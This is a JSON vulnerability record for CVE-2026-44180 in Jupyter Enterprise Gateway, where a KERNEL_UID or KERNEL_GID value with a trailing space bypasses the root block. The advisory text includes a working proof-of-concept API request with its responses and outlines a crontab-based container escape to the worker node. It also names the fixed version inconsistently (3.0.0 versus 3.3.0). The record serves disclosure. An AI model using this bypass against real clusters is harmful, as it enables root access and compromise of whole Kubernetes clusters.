{"id":"CVE-2026-44180","aliases":["CVE-2026-44180","GHSA-chq7-94j8-cj28","PYSEC-2026-363"],"related":[],"kind":"vulnerability","state":"published","title":"Jupyter Enterprise Gateway: ContainerProcessProxy._enforce_prohibited_ids can be Bypassed","summary":"Jupyter Enterprise Gateway launches remote Jupyter Notebook kernels across distributed clusters like Apache Spark, Kubernetes, and Docker Swarm. Versions 2.0.0rc1 and above prior to 3.3.0 have a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root), and this restriction can be bypassed using a specially crafted KERNEL_UID or KERNEL_GID value. This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system. This issue has been fixed in version 3.0.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Jupyter Enterprise Gateway launches remote Jupyter Notebook kernels across distributed clusters like Apache Spark, Kubernetes, and Docker Swarm. Versions 2.0.0rc1 and above prior to 3.3.0 have a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root), and this restriction can be bypassed using a specially crafted KERNEL_UID or KERNEL_GID value. This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system. This issue has been fixed in version 3.0.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nJupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root).\nThis can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted `KERNEL_UID` or `KERNEL_GID` value.\n\nThe feature is described in the documentation: \n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L103-L107\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L88-L92\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/deploy-kubernetes.md?plain=1#L769\n\n### Details\n\nThe `prohibited_uids` and `prohibited_uids` are set based of the OS env var `EG_PROHIBITED_UIDS` and `EG_PROHIBITED_GIDS`, and default to the string `0`.\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L29-L30\n\nThe checks https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L119 look for the user supplied `KERNEL_UID` / `KERNEL_GID` string in the `prohibited_uids` / `prohibited_gids` strings. These checks can be bypassed by including whitespace, for example the string `0 ` (trailing space).\n\nThe user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace.\n\n### PoC\n\n\n#### How it is meant to work\n\nTrying `0` gets denied, as expected.\n\n```bash\nxh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{\"KERNEL_POD_NAME\":\"bdawg\", \"KERNEL_UID\": \"0\", \"KERNEL_GID\": \"0\"}'\n```\n\n```\nHTTP/1.1 403 Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!\nContent-Length: 94\nContent-Type: application/json\nDate: Mon, 14 Jul 2025 12:57:09 GMT\nServer: TornadoServer/6.4.1\nX-Content-Type-Options: nosniff\n```\n\n```json\n{\n    \"reason\": \"Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!\",\n    \"message\": \"\"\n}\n```\n\n#### Exploit bypassing the checks\n\nUsing `0 ` with a trailing space, bypasses the check.\n\n```bash\nxh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{\"KERNEL_POD_NAME\":\"bdawg\", \"KERNEL_UID\": \"0 \", \"KERNEL_GID\": \"0 \"}'\n```\n\n```\nHTTP/1.1 201 Created\nContent-Length: 172\nContent-Type: application/json\nDate: Mon, 14 Jul 2025 14:15:19 GMT\nLocation: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40\nServer: TornadoServer/6.4.1\nX-Content-Type-Options: nosniff\n```\n\n```\n{\n    \"id\": \"17eee032-994f-4dd2-8ade-87169c300a40\",\n    \"name\": \"python_kubernetes\",\n    \"last_activity\": \"2025-07-14T14:15:21.468155Z\",\n    \"execution_state\": \"starting\",\n    \"connections\": 0\n}\n```\n\nThe pod is successfully scheduled.\n\nInspecting the container we can see it is running as `root`:\n\n```bash\nkubectl exec -it pod/bdawg -- bash\n```\n\n```\n(base) root@bdawg3:~# id\nuid=0(root) gid=0(root) groups=0(root),100(users)\n```\n\nIf we had not supplied the `KERNEL_UID` / `KERNEL_GID` the container would have been running as UID:GID `1000:100` (`jovyan:users`).\n\n### Impact\n\nThis input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a `hostPath` R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.\n\nOrganisations running Jupyter Enterprise Gateway to host Jupyter Kernels on at least Kubernetes clusters (I've tested this), and possibly on any other supported container orchestration systems or systems that utilise the `KERNEL_UID` and `KERNEL_GID` variables with the `EG_PROHIBITED_UIDS` and `EG_PROHIBITED_GIDS` feature.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Jupyter Enterprise Gateway lanza kernels remotos de Jupyter Notebook en clústeres distribuidos como Apache Spark, Kubernetes y Docker Swarm. Las versiones 2.0.0rc1 y superiores anteriores a la 3.3.0 tienen una característica de UID y GID prohibidos que, por defecto, impide el lanzamiento de kernels con UID o GID 0 (root), y esta restricción puede ser eludida utilizando un valor KERNEL_UID o KERNEL_GID especialmente diseñado. Esta vulnerabilidad de validación de entrada permite ejecutar kernels de Jupyter como root, lo que puede ser peligroso ya que permite una mayor superficie de ataque, y puede conducir a escapes de contenedor, comprometiendo el nodo trabajador y todas las cargas de trabajo que se ejecutan en él. La explotación repetida puede comprometer todos los nodos trabajadores y, por lo tanto, todo el clúster de Kubernetes. Es posible especificar montajes de volumen, por lo que un vector para un escape de contenedor es usar un montaje de volumen hostPath R/W, usar este bypass de UID/GID para ejecutar como root, y luego obtener ejecución de código en el nodo trabajador subyacente creando una entrada de crontab en el sistema de archivos del host montado. Este problema ha sido solucionado en la versión 3.0.0.","source":"nvd"}],"published":"2026-06-03T21:30:10.000Z","modified":"2026-10-24T20:10:00.137Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-20","CWE-180"],"affected":[{"ranges":[{"version":">= 2.0.0rc1, < 3.3.0","status":"affected"}],"vendor":"jupyter-server","product":"enterprise_gateway","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"2.0.0rc1","status":"affected","fixed":"3.3.0"}],"ecosystem":"PyPI","package":"jupyter-enterprise-gateway","purl":"pkg:pypi/jupyter-enterprise-gateway","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"2.1.0","fixed":"3.3.0"},{"status":"affected","version":"2.0.0"},{"status":"affected","version":"2.0.0"},{"status":"affected","version":"2.0.0"}],"vendor":"jupyter","product":"enterprise_gateway","cpe":"cpe:2.3:a:jupyter:enterprise_gateway:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"2.0.0rc1","status":"affected","fixed":"3.3.0"}],"ecosystem":"PyPI","package":"jupyter-enterprise-gateway","purl":"pkg:pypi/jupyter-enterprise-gateway","source":"pysec"}],"references":[{"url":"https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-chq7-94j8-cj28","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/jupyter-server/enterprise_gateway/releases/tag/v3.3.0","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/jupyter-server/enterprise_gateway","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/jupyter-enterprise-gateway","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-chq7-94j8-cj28","tags":["advisory"],"sources":["pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44180","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-07-17T14:20:43.912Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-44180","url":"https://www.cve.org/CVERecord?id=CVE-2026-44180","licence":"CVE Terms of Use","modified":"2026-07-17T14:23:37.372Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-chq7-94j8-cj28","url":"https://github.com/advisories/GHSA-chq7-94j8-cj28","licence":"CC-BY-4.0","modified":"2026-06-29T12:26:31.431Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-44180","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44180","licence":"Public domain","modified":"2026-10-24T20:10:00.137Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-363","url":"https://osv.dev/vulnerability/PYSEC-2026-363","licence":"CC-BY-4.0","modified":"2026-07-01T20:22:54.817Z"}],"updatedAt":"2026-11-25T22:59:28.441Z","epss":{"score":0.00665,"percentile":0.53054,"date":"2026-12-01T12:00:22.000Z"}}